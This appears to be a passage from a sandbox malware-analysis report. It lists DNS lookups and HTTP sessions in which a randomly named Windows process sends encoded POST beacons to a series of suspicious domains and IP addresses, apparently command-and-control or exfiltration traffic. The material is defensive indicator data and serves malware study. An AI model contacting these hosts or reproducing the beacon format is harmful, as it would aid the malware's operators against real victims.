Oct 29, 2024 10:02:42.032970905 CET	192.168.2.5	1.1.1.1	0xe54d	Standard query (0)	www.solidarity.rocks	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:02:55.862302065 CET	192.168.2.5	1.1.1.1	0xdaa0	Standard query (0)	www.kmjai8jf.icu	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:03:03.942725897 CET	192.168.2.5	1.1.1.1	0xc0a9	Standard query (0)	www.cdqjey8g.sbs	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:03:18.455785990 CET	192.168.2.5	1.1.1.1	0x22db	Standard query (0)	www.pegji.online	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:03:31.190129995 CET	192.168.2.5	1.1.1.1	0x2763	Standard query (0)	www.ambaolive.info	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:03:44.908102989 CET	192.168.2.5	1.1.1.1	0xca0b	Standard query (0)	www.cablecarrental.net	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:03:58.283179045 CET	192.168.2.5	1.1.1.1	0x3fab	Standard query (0)	www.martmall.info	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:04:11.862797022 CET	192.168.2.5	1.1.1.1	0xcf58	Standard query (0)	www.ninesquare.games	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 29, 2024 10:01:44.462488890 CET	1.1.1.1	192.168.2.5	0x43f2	Name error (3)	206.23.85.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Oct 29, 2024 10:01:57.851861000 CET	1.1.1.1	192.168.2.5	0x56d	No error (0)	www.js18456.net		154.204.174.144	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:02:14.336004972 CET	1.1.1.1	192.168.2.5	0x5803	No error (0)	www.wiretap.digital	wiretap.digital		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:02:14.336004972 CET	1.1.1.1	192.168.2.5	0x5803	No error (0)	wiretap.digital		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:02:14.336004972 CET	1.1.1.1	192.168.2.5	0x5803	No error (0)	wiretap.digital		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:02:27.641056061 CET	1.1.1.1	192.168.2.5	0x5a2c	No error (0)	www.everyone.golf	everyone.golf		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:02:27.641056061 CET	1.1.1.1	192.168.2.5	0x5a2c	No error (0)	everyone.golf		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:02:27.641056061 CET	1.1.1.1	192.168.2.5	0x5a2c	No error (0)	everyone.golf		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:02:42.214226961 CET	1.1.1.1	192.168.2.5	0xe54d	No error (0)	www.solidarity.rocks		199.59.243.227	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:02:55.872147083 CET	1.1.1.1	192.168.2.5	0xdaa0	Name error (3)	www.kmjai8jf.icu	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:03:04.469654083 CET	1.1.1.1	192.168.2.5	0xc0a9	No error (0)	www.cdqjey8g.sbs	b1-3-r11-gmhudx.t9d2quy5.shop		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:03:04.469654083 CET	1.1.1.1	192.168.2.5	0xc0a9	No error (0)	b1-3-r11-gmhudx.t9d2quy5.shop	b1-3-r11.t9d2quy5.shop		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:03:04.469654083 CET	1.1.1.1	192.168.2.5	0xc0a9	No error (0)	b1-3-r11.t9d2quy5.shop	b1-3-r111-s65psj.8uqm5xgy.shop		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:03:04.469654083 CET	1.1.1.1	192.168.2.5	0xc0a9	No error (0)	b1-3-r111-s65psj.8uqm5xgy.shop	b1-3-r11-nff52.alicloudddos.top		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:03:04.469654083 CET	1.1.1.1	192.168.2.5	0xc0a9	No error (0)	b1-3-r11-nff52.alicloudddos.top	b1-3-r111-s65psj.alicloudddos.top		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:03:04.469654083 CET	1.1.1.1	192.168.2.5	0xc0a9	No error (0)	b1-3-r111-s65psj.alicloudddos.top	b1-3-r111-55g56.kunlundns.top		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:03:04.469654083 CET	1.1.1.1	192.168.2.5	0xc0a9	No error (0)	b1-3-r111-55g56.kunlundns.top	b1-3-r111.kunlundns.top		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:03:04.469654083 CET	1.1.1.1	192.168.2.5	0xc0a9	No error (0)	b1-3-r111.kunlundns.top		43.155.76.124	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:03:18.509887934 CET	1.1.1.1	192.168.2.5	0x22db	No error (0)	www.pegji.online	pegji.online		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:03:18.509887934 CET	1.1.1.1	192.168.2.5	0x22db	No error (0)	pegji.online		84.32.84.32	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:03:31.224905014 CET	1.1.1.1	192.168.2.5	0x2763	No error (0)	www.ambaolive.info		217.160.0.93	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:03:44.978209019 CET	1.1.1.1	192.168.2.5	0xca0b	No error (0)	www.cablecarrental.net	cablecarrental.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:03:44.978209019 CET	1.1.1.1	192.168.2.5	0xca0b	No error (0)	cablecarrental.net		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:03:44.978209019 CET	1.1.1.1	192.168.2.5	0xca0b	No error (0)	cablecarrental.net		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:03:58.301300049 CET	1.1.1.1	192.168.2.5	0x3fab	No error (0)	www.martmall.info		209.74.64.189	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:04:11.959173918 CET	1.1.1.1	192.168.2.5	0xcf58	No error (0)	www.ninesquare.games	ninesquare.games		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 10:04:11.959173918 CET	1.1.1.1	192.168.2.5	0xcf58	No error (0)	ninesquare.games		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 29, 2024 10:04:11.959173918 CET	1.1.1.1	192.168.2.5	0xcf58	No error (0)	ninesquare.games		15.197.148.33	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.js18456.net

www.wiretap.digital

www.everyone.golf

www.solidarity.rocks

www.cdqjey8g.sbs

www.pegji.online

www.ambaolive.info

www.cablecarrental.net

www.martmall.info

www.ninesquare.games

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	60294	154.204.174.144	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:01:57.872644901 CET	509	OUT	GET /byug/?dfNhZ=LvKD&Qf=daot1yqA0sfH+KONUjF9hF9KxIdUCROymgGxIYerxsodSW80Yw7JQGC35zuckSas8FRPkylX8MsqYI+8Hz0cWqztja2+Su+68kyxn3iYny23AR/HjwUyUQBMgFhq2oMeHw== HTTP/1.1 Host: www.js18456.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Oct 29, 2024 10:01:58.837855101 CET	485	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 29 Oct 2024 09:01:58 GMT Content-Type: text/html Content-Length: 215 Last-Modified: Wed, 10 Jul 2024 08:50:40 GMT Connection: close ETag: "668e4b60-d7" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes Data Raw: 3c 68 74 6d 6c 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6b 66 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 26 23 78 35 31 45 46 3b 26 23 78 35 33 44 31 3b 32 30 26 23 78 35 45 37 34 3b 2c 26 23 78 34 45 30 30 3b 26 23 78 38 44 45 46 3b 26 23 78 35 34 30 43 3b 26 23 78 38 38 34 43 3b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><script src="/kf.js"></script><head><title>凯发20年,一路同行</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	60384	3.33.130.190	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:02:14.362066984 CET	781	OUT	POST /5qo7/ HTTP/1.1 Host: www.wiretap.digital Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.wiretap.digital Referer: http://www.wiretap.digital/5qo7/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 4e 4b 46 78 65 78 41 34 6b 59 4c 7a 76 74 4e 50 77 49 38 78 73 63 4c 77 2f 45 45 57 75 51 49 52 7a 41 6f 64 75 47 2b 68 32 62 54 4d 4d 48 68 66 77 2b 54 71 6e 76 48 4e 77 75 35 69 6a 39 6c 6c 48 56 2b 38 77 7a 6d 47 54 32 7a 37 4e 36 57 7a 67 38 78 68 65 44 70 75 53 67 50 79 79 31 4a 58 71 41 67 44 77 30 6d 55 73 4a 63 73 59 49 65 7a 59 46 37 4f 7a 79 4b 38 55 6c 42 6d 4c 64 6f 5a 52 58 57 74 4b 75 6b 79 70 36 70 6e 46 6c 34 6f 42 69 30 71 57 38 54 6f 43 6e 74 66 42 66 6d 44 62 79 37 4a 70 4b 47 52 65 6e 38 50 36 45 5a 2b 31 6a 57 2f 59 36 64 4b 58 62 69 45 38 43 35 4c 7a 31 4c 48 32 51 34 3d Data Ascii: Qf=NKFxexA4kYLzvtNPwI8xscLw/EEWuQIRzAoduG+h2bTMMHhfw+TqnvHNwu5ij9llHV+8wzmGT2z7N6Wzg8xheDpuSgPyy1JXqAgDw0mUsJcsYIezYF7OzyK8UlBmLdoZRXWtKukyp6pnFl4oBi0qW8ToCntfBfmDby7JpKGRen8P6EZ+1jW/Y6dKXbiE8C5Lz1LH2Q4=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	60390	3.33.130.190	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:02:16.908471107 CET	801	OUT	POST /5qo7/ HTTP/1.1 Host: www.wiretap.digital Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.wiretap.digital Referer: http://www.wiretap.digital/5qo7/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 4e 4b 46 78 65 78 41 34 6b 59 4c 7a 74 4d 39 50 33 76 67 78 72 38 4c 33 7a 6b 45 57 68 77 49 56 7a 41 6b 64 75 43 4f 78 32 70 33 4d 4e 6d 52 66 78 2f 54 71 67 76 48 4e 36 4f 34 70 6e 39 6c 75 48 56 69 43 77 32 65 47 54 32 6e 37 4e 36 6d 7a 6e 4e 78 69 66 54 70 73 47 51 50 38 39 56 4a 58 71 41 67 44 77 30 79 2b 73 4a 45 73 5a 35 75 7a 61 6e 54 50 74 69 4b 7a 54 6c 42 6d 50 64 6f 56 52 58 57 50 4b 71 39 58 70 34 42 6e 46 68 38 6f 51 51 51 74 63 38 54 78 4f 33 73 62 47 75 6e 74 56 68 7a 39 70 72 66 4a 50 45 41 56 79 53 30 55 76 42 65 58 4c 61 78 79 48 49 71 7a 74 79 59 69 70 57 62 33 6f 48 75 48 48 41 39 33 68 38 59 46 2b 58 44 50 4d 4e 63 39 64 69 59 45 Data Ascii: Qf=NKFxexA4kYLztM9P3vgxr8L3zkEWhwIVzAkduCOx2p3MNmRfx/TqgvHN6O4pn9luHViCw2eGT2n7N6mznNxifTpsGQP89VJXqAgDw0y+sJEsZ5uzanTPtiKzTlBmPdoVRXWPKq9Xp4BnFh8oQQQtc8TxO3sbGuntVhz9prfJPEAVyS0UvBeXLaxyHIqztyYipWb3oHuHHA93h8YF+XDPMNc9diYE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	60397	3.33.130.190	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:02:19.454982042 CET	1818	OUT	POST /5qo7/ HTTP/1.1 Host: www.wiretap.digital Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.wiretap.digital Referer: http://www.wiretap.digital/5qo7/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1239 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 4e 4b 46 78 65 78 41 34 6b 59 4c 7a 74 4d 39 50 33 76 67 78 72 38 4c 33 7a 6b 45 57 68 77 49 56 7a 41 6b 64 75 43 4f 78 32 70 2f 4d 4d 55 5a 66 77 63 37 71 68 76 48 4e 68 4f 34 71 6e 39 6c 7a 48 56 71 47 77 33 6a 37 54 31 66 37 4e 5a 75 7a 6d 35 74 69 56 54 70 73 45 51 50 78 79 31 49 58 71 41 77 48 77 33 4b 2b 73 4a 45 73 5a 36 47 7a 4d 6c 37 50 76 69 4b 38 55 6c 42 69 4c 64 6f 35 52 58 2b 31 4b 71 77 69 70 4a 68 6e 47 46 59 6f 53 43 49 74 55 38 54 7a 50 48 73 39 47 72 2f 75 56 68 65 43 70 72 72 6a 50 45 6f 56 69 57 68 34 30 67 76 4b 64 61 77 52 44 4b 47 66 38 6d 42 4f 75 48 4c 5a 6b 6d 50 6a 45 42 4e 6b 69 4e 63 32 2b 58 32 4b 58 5a 49 55 56 7a 5a 7a 73 2b 47 59 31 61 74 52 62 70 38 44 33 31 51 32 52 42 45 5a 45 42 32 6e 77 64 35 6b 72 59 6b 4c 65 42 34 74 55 6e 42 57 34 49 39 43 48 79 64 42 59 76 4f 4c 6a 65 57 75 46 75 56 30 66 57 66 50 63 35 6e 67 59 72 59 56 36 78 72 6d 75 69 5a 70 33 63 73 65 34 35 71 42 72 4e 2f 50 44 38 4c 61 51 44 4d 2f 75 44 55 39 33 30 78 47 58 6e 41 4f 2b 76 30 [TRUNCATED] Data Ascii: Qf=NKFxexA4kYLztM9P3vgxr8L3zkEWhwIVzAkduCOx2p/MMUZfwc7qhvHNhO4qn9lzHVqGw3j7T1f7NZuzm5tiVTpsEQPxy1IXqAwHw3K+sJEsZ6GzMl7PviK8UlBiLdo5RX+1KqwipJhnGFYoSCItU8TzPHs9Gr/uVheCprrjPEoViWh40gvKdawRDKGf8mBOuHLZkmPjEBNkiNc2+X2KXZIUVzZzs+GY1atRbp8D31Q2RBEZEB2nwd5krYkLeB4tUnBW4I9CHydBYvOLjeWuFuV0fWfPc5ngYrYV6xrmuiZp3cse45qBrN/PD8LaQDM/uDU930xGXnAO+v0Zum/fOU6KOLqp1mSi8Gd0ORwZ02kaG45UbuZyPh0g8kL3E4QoLaD4xT7GeBScxbD/Hmg+d9WyfiuJKSWBtYRmsfQRuf+5NdWHXty8SEcQ0zUPCBBRHuuouT+4DYHqpEB9OwNNTnVerNbOCYJG+ECQbRewckoscavYuS3ihesDLIA4PUOr0nVEuzi2BQRtOLAl3aeKXWz5JSzBqHhpoxnp9W2pgtKZohW8FD7+w45hJe9wohIXmiBPqQps3UlOahl2aN42/7h3qP+xnGT6WkaoOpf4eViJt5jBC0V494nUdzSCD8TvC4fm603mlMmzHAuaDL+u8UR6zMA8YeUYbO+iJOaE9y5tj25+HIZ5+FbwlrfqOkwMdyNfeH0FKkFJM4+OXwqXPf3pNGSntawrM1hbhbEdvWPAOqGegh/xK3v/14VeWkab4PPv0qJ29Np7Su6JJLOKgcy8p7JtIE4YKHiDF3qib+Zwe6PZMp87/X7cMHPyDldt3ZDKgAlul36a6Mnz2Y/4SS8m1JLzp677LL0SMKCtjmcgPHr81WCsJ5CNTgKleWZt9d0gVrc0h6mUp7BE0tT8AFV0fnlcSMODT8phIeF2+04woNUudue4MZchZGhpvhfRWTF3rhbvuDsrJKUlyxcJY1MoFWBEEkPoeBOUex0geD5xnNp3z [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	60398	3.33.130.190	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:02:21.998780966 CET	513	OUT	GET /5qo7/?Qf=AItRdHIStarSgJFr54MavMegqlpHmxEFjzxzqB36/sm0G2kp9NXBjanhx9IotPFlCRiq6XnmdXy4N5GOjcFlfw1ST0r4x3lNvjQx3kOK6KItSarXN1mZwSCiX1dGL8t8Fw==&dfNhZ=LvKD HTTP/1.1 Host: www.wiretap.digital Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Oct 29, 2024 10:02:22.617650032 CET	401	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 29 Oct 2024 09:02:22 GMT Content-Type: text/html Content-Length: 261 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 51 66 3d 41 49 74 52 64 48 49 53 74 61 72 53 67 4a 46 72 35 34 4d 61 76 4d 65 67 71 6c 70 48 6d 78 45 46 6a 7a 78 7a 71 42 33 36 2f 73 6d 30 47 32 6b 70 39 4e 58 42 6a 61 6e 68 78 39 49 6f 74 50 46 6c 43 52 69 71 36 58 6e 6d 64 58 79 34 4e 35 47 4f 6a 63 46 6c 66 77 31 53 54 30 72 34 78 33 6c 4e 76 6a 51 78 33 6b 4f 4b 36 4b 49 74 53 61 72 58 4e 31 6d 5a 77 53 43 69 58 31 64 47 4c 38 74 38 46 77 3d 3d 26 64 66 4e 68 5a 3d 4c 76 4b 44 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?Qf=AItRdHIStarSgJFr54MavMegqlpHmxEFjzxzqB36/sm0G2kp9NXBjanhx9IotPFlCRiq6XnmdXy4N5GOjcFlfw1ST0r4x3lNvjQx3kOK6KItSarXN1mZwSCiX1dGL8t8Fw==&dfNhZ=LvKD"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	60399	3.33.130.190	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:02:27.660059929 CET	775	OUT	POST /vn3y/ HTTP/1.1 Host: www.everyone.golf Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.everyone.golf Referer: http://www.everyone.golf/vn3y/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 31 64 31 4a 6f 30 55 4d 53 54 42 6e 4a 5a 77 43 71 70 65 41 56 48 6b 6e 64 35 52 68 70 46 57 74 70 67 68 50 31 6a 58 6f 33 2f 6f 47 49 59 72 47 6f 46 37 4b 76 57 31 53 57 78 30 43 45 54 71 39 62 62 45 53 38 39 33 37 72 35 4e 59 36 46 4b 51 79 78 2b 48 78 4c 61 6d 71 63 30 56 62 57 66 62 71 56 46 36 7a 6d 36 55 75 33 6e 6c 62 73 70 5a 6f 6e 4f 4a 7a 47 35 46 72 4c 66 6d 49 6f 6e 4b 41 79 52 78 69 35 52 2f 4e 6d 38 6d 6b 57 41 75 68 64 4d 33 39 7a 72 77 6a 42 4a 51 67 39 56 4e 74 52 51 43 41 79 56 6b 4e 6d 4c 4c 58 42 4a 7a 75 5a 46 31 71 4f 32 6f 37 45 58 56 6b 36 52 33 58 6a 43 64 38 49 51 3d Data Ascii: Qf=1d1Jo0UMSTBnJZwCqpeAVHknd5RhpFWtpghP1jXo3/oGIYrGoF7KvW1SWx0CETq9bbES8937r5NY6FKQyx+HxLamqc0VbWfbqVF6zm6Uu3nlbspZonOJzG5FrLfmIonKAyRxi5R/Nm8mkWAuhdM39zrwjBJQg9VNtRQCAyVkNmLLXBJzuZF1qO2o7EXVk6R3XjCd8IQ=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	60400	3.33.130.190	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:02:30.205266953 CET	795	OUT	POST /vn3y/ HTTP/1.1 Host: www.everyone.golf Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.everyone.golf Referer: http://www.everyone.golf/vn3y/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 31 64 31 4a 6f 30 55 4d 53 54 42 6e 49 35 41 43 6d 71 47 41 43 33 6b 6d 53 5a 52 68 6e 56 57 70 70 67 6c 50 31 69 6a 43 33 4d 63 47 4a 34 37 47 70 45 37 4b 73 57 31 53 5a 52 30 4e 62 44 71 4d 62 62 49 67 38 39 37 37 72 35 4a 59 36 41 32 51 78 43 6d 45 33 4c 61 6b 6e 38 30 62 66 57 66 62 71 56 46 36 7a 6d 2f 63 75 33 50 6c 62 5a 68 5a 72 43 69 4b 77 47 35 47 71 4c 66 6d 5a 59 6e 47 41 79 52 54 69 35 68 56 4e 69 4d 6d 6b 55 49 75 69 4d 4d 34 6d 6a 72 32 74 68 4a 65 74 4e 49 30 69 78 55 72 4b 6b 6b 77 62 6c 66 53 66 58 6b 5a 30 37 4e 64 35 75 61 51 72 58 66 69 31 4b 77 65 4e 41 53 74 69 66 46 77 2f 55 6c 42 4f 72 4a 4a 46 32 33 4c 7a 66 74 64 6f 78 35 36 Data Ascii: Qf=1d1Jo0UMSTBnI5ACmqGAC3kmSZRhnVWppglP1ijC3McGJ47GpE7KsW1SZR0NbDqMbbIg8977r5JY6A2QxCmE3Lakn80bfWfbqVF6zm/cu3PlbZhZrCiKwG5GqLfmZYnGAyRTi5hVNiMmkUIuiMM4mjr2thJetNI0ixUrKkkwblfSfXkZ07Nd5uaQrXfi1KweNAStifFw/UlBOrJJF23Lzftdox56

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	60401	3.33.130.190	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:02:32.785594940 CET	1812	OUT	POST /vn3y/ HTTP/1.1 Host: www.everyone.golf Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.everyone.golf Referer: http://www.everyone.golf/vn3y/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1239 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 31 64 31 4a 6f 30 55 4d 53 54 42 6e 49 35 41 43 6d 71 47 41 43 33 6b 6d 53 5a 52 68 6e 56 57 70 70 67 6c 50 31 69 6a 43 33 4d 45 47 4a 4c 44 47 70 6e 44 4b 69 32 31 53 51 78 31 4b 62 44 71 72 62 62 51 6b 38 39 48 46 72 37 42 59 37 69 4f 51 35 58 53 45 69 37 61 6b 37 4d 30 57 62 57 66 4f 71 56 56 2b 7a 6d 76 63 75 33 50 6c 62 59 52 5a 2f 48 4f 4b 38 6d 35 46 72 4c 66 36 49 6f 6e 71 41 79 5a 69 69 39 39 76 4f 52 45 6d 6e 30 34 75 6b 2b 30 34 37 7a 72 30 67 42 49 59 74 4e 45 56 69 78 59 4a 4b 67 74 74 62 6c 33 53 56 52 39 44 6b 2f 59 4c 74 38 36 68 68 41 6e 54 6a 39 4e 79 41 51 61 68 6d 6f 78 47 31 33 31 70 41 66 70 6a 52 48 53 47 73 65 52 51 75 56 52 30 44 37 61 44 74 6e 61 4d 77 56 50 75 79 6d 39 56 53 71 6a 36 52 72 54 37 43 38 4c 2f 74 49 51 54 7a 48 76 42 62 37 76 71 35 31 73 49 62 54 41 66 68 2f 62 32 49 76 71 61 5a 31 77 74 41 47 2f 49 71 4c 4f 6e 2b 53 36 62 2b 63 61 48 44 75 67 4a 59 73 67 6c 51 6a 61 6e 54 64 4b 6a 34 6c 56 45 53 4e 30 57 5a 61 66 4c 70 72 46 4f 30 46 5a 64 42 39 37 [TRUNCATED] Data Ascii: 